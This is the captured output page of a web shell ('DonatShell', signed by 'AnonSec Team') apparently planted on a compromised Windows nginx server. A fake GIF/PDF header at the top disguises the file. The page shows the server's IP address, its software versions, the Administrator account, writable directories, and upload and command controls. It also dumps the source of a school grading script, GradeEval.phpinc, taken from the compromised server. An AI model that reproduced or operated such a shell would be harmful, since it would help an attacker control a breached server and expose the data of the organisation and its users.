GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/Class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/Class/GradeEval.phpinc
<?
// common/Class/GradeEval.phpinc
// Grade the eval.

debugTrackBegin();

#if (dc()) printVar('$_POST',$_POST);
$CorrectAnswerCount = 0;
$HasMissingAnswers = 0;
#if ( isset($Answers) ) { $LastAnswers = $Answers; } else { $LastAnswers = array(); }
$InternalComment = '';
$Answers = '';
$Comment = array();
if ( isset($QuestionAnswers[0]) ) {
	$f_gradeGraded = 1;
} else {
	$f_gradeGraded = 0;
}
#if ( count($QuestionAnswers) ) {
	// Loop through each question.
	for ($QuestionNumber=1; $QuestionNumber<=$QuestionCount; $QuestionNumber++ ) {
		$QuestionIndex = $QuestionNumber - 1;
		$Answers = $Answers."\"";
		$InternalComment = $InternalComment."\"";
		if ( $f_gradeGraded ) $AnswersArray = explode(",",$QuestionAnswers[$QuestionIndex]);
		// Loop through each select.
		$Comment[$QuestionNumber] = formValue($evaluationName.'_'.$QuestionNumber.'_comments');
		for ($selectIndex=0; $selectIndex<count($SelectOptions); $selectIndex++) {
			// Get answer.
			$Answer = formValue($evaluationName.'_'.$QuestionNumber.'_'.$selectIndex);
			if ( $f_gradeGraded && $Answer == 0 ) $HasMissingAnswers++;
			$Answers = $Answers.$Answer;
			$InternalComment = $InternalComment.$Answer;
			if ( $selectIndex < count($SelectOptions)-1 ) {
				$Answers = $Answers.",";
				$InternalComment = $InternalComment.",";
			} else {
				$Answers = $Answers."\"";
				$InternalComment = $InternalComment."\",\"".quot($Comment[$QuestionNumber])."\"";
				if ( $QuestionNumber < $QuestionCount ) {
					$Answers = $Answers.",\n";
					$InternalComment = $InternalComment.",\n";
				}
			}
			#if (dc()) printVar($evaluationName.'_'.$QuestionNumber.'_'.$selectIndex.' answer',$Answer);
			#if (dc()) printVar("\$AnswersArray[".$selectIndex."]",$AnswersArray[$selectIndex]);
			if ( $f_gradeGraded && $AnswersArray[$selectIndex] == $Answer ) $CorrectAnswerCount++;
		}
	}
#} else {
#}

if (dc()) echo "\$Answers ==<br>\n",CRtoBR($Answers),"<br>\n".'<span class="d_s_fl">'.basename(__FILE__).':'.__LINE__.' <span class="d_s_fp">('.__FILE__.')</span></span>',"<br>\n";
if (dc()) printVar('$CorrectAnswerCount',$CorrectAnswerCount);
#if (dc()) printVar('$_POST',$_POST);
$submissionOrdinal = ordinalNumber($gradeResultCount+1);
if (dc()) printVar('$submissionOrdinal',$submissionOrdinal);
$pointsLostForSubmissions =  $gradeResultCount * $PointsLostPerSubmission;
$f_gradeGrade = (int) ( ( ($CorrectAnswerCount * $f_pointsPerQuestionPart) - $pointsLostForSubmissions ) * 100 +.5) / 100;
if ( $f_gradeGrade < 0 ) $f_gradeGrade = 0;
$f_letterGrade = gradeLetterAC(gradePercentage($f_gradeGrade,$f_evaluationPoints));
$f_letterGradeText = gradeClass($f_letterGrade);
if (dc()) printVar('$f_gradeGrade',$f_gradeGrade);
if (dc()) printVar('$f_letterGrade',$f_letterGrade);
if (dc()) printVar('$f_letterGradeText',$f_letterGradeText);
if (dc()) printVar('da()',da());
if (dc()) printVar('dc()',dc());
#printVar('$HasMissingAnswers',$HasMissingAnswers);
// Check if reload.
if ( $_SESSION['uuid'] != $f_uuid ) {
	if ( !$HasMissingAnswers || $f_task == 'Submit lab for grading with missing answers' ) {
		// Put grade in database.
		if ( $gradeResultCount ) {
			// UPDATE current grades as gradeInactive.
			$query = "
					UPDATE `grade` 
						 SET gradeInactive = 1
					 WHERE evaluationId = ".$f_evaluationId."
						 AND userId = ".$_SESSION['userId']."
			";
			if (dc()) printVar('$query',$query,'q');
			$gradeUpdate = query_do($query);
		}
		// INSERT grade.
		$f_lastModified = currentDateTime();
		$query = "
				INSERT
					INTO `grade` (
					evaluationId,
					userId,
					gradeSubmitted,
					gradeGraded,
					gradeGrade,
					gradeComment,
					gradeInternalComment,
					gradeInactive,
					lastModified,
					modifiedBy
				) VALUES (
					".$f_evaluationId.",
					".$_SESSION['userId'].",
					1,
					".$f_gradeGraded.",
					".$f_gradeGrade.",
				 '".query_safe($f_letterGrade)."',
				 '".query_safe($InternalComment)."',
					0,
				 '".query_safe($f_lastModified)."',
					".$_SESSION['trueuserId']."
				)
		";
		if (dc()) printVar('$query',$query,'q');
		$gradeInsert = query_do($query);
		$_SESSION['uuid'] = $f_uuid;
		#if ( $f_ClassInstructor ) $_SESSION['uuid'] = 1;
?>
		<b><?=$f_evaluationTitle?> has been submitted.</b>
<?
	} else {
?>
		<b>You have <?=$HasMissingAnswers?> missing answer<? if ( $HasMissingAnswers != 1 ) {?>s<? } ?> in <?=$f_evaluationTitle?>.</b>
<?
	}
} else {
	// This is a page reload.
	#if ( $f_ClassInstructor ) $_SESSION['uuid'] = 1;
?>
	<b>You have already submitted <?=$f_evaluationTitle?>.</b>
<?
}

if ( count($QuestionAnswers) ) {
// For labs:
	if ( !$HasMissingAnswers || $f_task == 'Submit lab for grading with missing answers' || $f_ClassInstructor ) {
	// Dislay Grade.
?>
		<br>
		You have <?=$CorrectAnswerCount?> correct answer<? if ( $CorrectAnswerCount != 1 ) {?>s<? } ?> of <?=$AnswerCount?> possible in <?=$QuestionCount?> question<? if ( $QuestionCount != 1 ) {?>s<? } ?>.
<?
		if ( $gradeResultCount ) {
?>
			<br>
			You lost <?=$pointsLostForSubmissions?> point<? if ( $pointsLostForSubmissions != 1 ) {?>s<? } ?> because this is your <?=$submissionOrdinal?> submission.
<?
		}
?>
		<br>
		Your grade point<? if ( $f_gradeGrade != 1 ) {?>s<? } ?> <? if ( $f_gradeGrade != 1 ) {?>are<? } else { ?>is<? } ?> <b><?=$f_gradeGrade?></b>. This is a grade of <b><?=$f_letterGradeText?></b> for this assignment.
<?
	}
} else {
?>
	<br>
	The lab will have to be manually graded.
<?
}
if ( !$HasMissingAnswers || $f_task == 'Submit lab for grading with missing answers' ) {
?>
</fieldset>

<?
}
if ( false && $f_ClassInstructor ) {
echo CRtoBR($InternalComment);
?><pre>$Answers = array(
<?=$Answers?>

);</pre><?
}
$Answers = explode('|',str_replace(",\n","|",str_replace('"','',$Answers))); // Convert $Answers to array.

debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team